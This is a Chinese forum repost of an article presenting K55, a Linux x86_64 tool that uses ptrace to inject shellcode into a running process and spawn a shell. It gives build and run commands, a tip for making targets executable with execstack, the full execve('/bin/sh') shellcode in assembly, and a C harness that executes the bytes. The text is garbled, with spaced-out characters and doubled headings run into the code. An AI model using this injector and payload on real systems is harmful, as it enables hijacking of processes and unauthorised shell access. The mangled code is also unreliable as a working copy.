搜索

[16465] 2021-02-20_如何使用K55实现Linuxx86_64进程注入

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-02-20_如何使用K55实现Linuxx86_64进程注入 如 何 使 用 K 5 5 实 现 L i n u x   x 8 6 _ 6 4 进 程 注 入 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 2 - 2 0 关 于 关 于 K 5 5 K 5 5 是 一 款   P a y l o a d 注 入 工 具 ， 该 工 具 可 以 向 正 在 运 行 的 进 程 注 入 x 8 6 _ 6 4   s h e l l c o d e   P a y l o a d 。 该 工 具 使 用 现 代 C + + 1 1 技 术 开 发 ， 并 且 继 承 了 某 些 传 统 的 C   L i n u x 函 数 ， 比 如 说 p t r a c e ( ) 等 等 。 在 目 标 进 程 中 生 成 的 s h e l l c o d e 长 度 为 2 7 个 字 节 ， 并 且 能 够 在 目 标 进 程 的 地 址 空 间 中 执 行 / b i n / s h （ 生 成 一 个 B a s h   s h e l l ） 。 将 来 ， 我 们 还 会 支 持 允 许 用 户 通 过 命 令 行 参 数 输 入 自 己 的 s h e l l c o d e 。 工 具 安 装 工 具 安 装 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 该 项 目 源 码 克 隆 至 本 地 ， 然 后 完 成 工 具 的 安 装 、 构 建 与 配 置 ： K 5 5 使 用 使 用 上 述 命 令 中 的 p r o c e s s - n a m e 进 程 名 可 以 是 任 何 带 有 r - x p 或 e x e c s t a c k 权 限 的 L i n u x 进 程 。 测 试 测 试 测 试 测 试 1   -   打 开 一 个 命 令 行 窗 口 ， 切 换 至 打 开 一 个 命 令 行 窗 口 ， 切 换 至 K 5 5 / 目 录 下 ， 然 后 运 行 下 列 命 令 ： 目 录 下 ， 然 后 运 行 下 列 命 令 ： 测 试 测 试 2   -   打 开 另 一 个 命 令 行 窗 口 ， 通 过 下 列 命 令 运 行 注 入 器 ： 打 开 另 一 个 命 令 行 窗 口 ， 通 过 下 列 命 令 运 行 注 入 器 ： K 5 5 使 用 样 例 使 用 样 例 当 K 5 5 的 s h e l l c o d e 注 入 器 以 r o o t 权 限 运 行 之 后 ， 将 会 在 k 5 5 _ t e s t _ p r o c e s s 中 生 成 一 个 s h e l l 。 向 给 定 进 程 注 入 向 给 定 进 程 注 入 P a y l o a d ： ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / j o s h 0 x A / K 5 5 . g i t c d   K 5 5 c h m o d   + x   b u i l d - i n s t a l l . s h . / b u i l d - i n s t a l l . s h U s a g e :   . / K 5 5   < p r o c e s s - n a m e > . / k 5 5 _ e x a m p l e _ p r o c e s s / k 5 5 _ t e s t _ p r o c e s s s u d o   . / K 5 5   k 5 5 _ t e s t _ p r o c e s s
在 目 标 进 程 中 生 成 在 目 标 进 程 中 生 成 S h e l l ： ： 注 入 成 功 并 生 成 注 入 成 功 并 生 成 S h e l l ： ： 工 具 限 制 工 具 限 制 很 明 显 ， 针 对 p t r a c e 的 调 用 肯 定 不 够 隐 蔽 。 因 此 ， 还 是 会 有 一 些 应 用 可 以 限 制 K 5 5 的 功 能 。 不 过 ， 对 于 安 全 测 试 来 说 ， 我 们 还 需 要 确 保 目 标 应 用 程 序 启 用 了 e x e c s t a c k 。 比 如 说 ， 如 果 我 在 g d b 上 进 行 测 试 ， 那 么 在 注 入 之 前 ， 我 需 要 运 行 下 列 命 令 ： s u d o   e x e c s t a c k   - s   / u s r / b i n / g d b
如 果 你 是 用 的 是 A r c h   L i n u x ， 你 可 以 直 接 在 A U R 中 找 到 e x e c s t a c k 。 制 作 制 作 S h e l l   P a y l o a d 注 意 ： 在 下 面 给 出 的 例 子 中 ， P a y l o a d 字 符 串 已 经 硬 编 码 进 了 K 5 5 之 中 。 P a y l o a d 汇 编 代 码 实 现 汇 编 代 码 实 现 P a y l o a d 的 的 C 语 言 实 现 语 言 实 现 许 可 证 协 议 许 可 证 协 议 m a i n :         x o r   e a x ,   e a x         m o v   r b x ,   0 x F F 9 7 8 C D 0 9 1 9 6 9 D D 1         n e g   r b x         p u s h   r b x         p u s h   r s p         p o p   r d i         c d q         p u s h   r d x         p u s h   r d i         p u s h   r s p         p o p   r s i         m o v   a l ,   0 x 3 b S y s c a l l # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > / /   S h e l l c o d e   b r e a k d o w n   o f   t h e   a s s e m b l y   c o d e . c h a r   c o d e [ ]   =   " x 3 1 x c 0 x 4 8 x b b x d 1 x 9 d x 9 6 x 9 1 x d 0 x 8 c x 9 7 x f f x 4 8 x f 7 x d b x 5 3 x 5 4 x 5 f x 9 9 x 5 2 x 5 7 x 5 4 x 5 e x b 0 x 3 b x 0 f x 0 5 " ; i n t   m a i n ( ) {         p r i n t f ( " l e n : % d   b y t e s n " ,   s t r l e n ( c o d e ) ) ;         ( * ( v o i d ( * ) ( ) )   c o d e ) ( ) ;         r e t u r n   0 ; }
本 项 目 的 开 发 与 发 布 遵 循 M I T 开 源 许 可 证 协 议 。 项 目 地 址 项 目 地 址 K 5 5 ： 点 击 底 部 【 阅 读 原 文 】 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理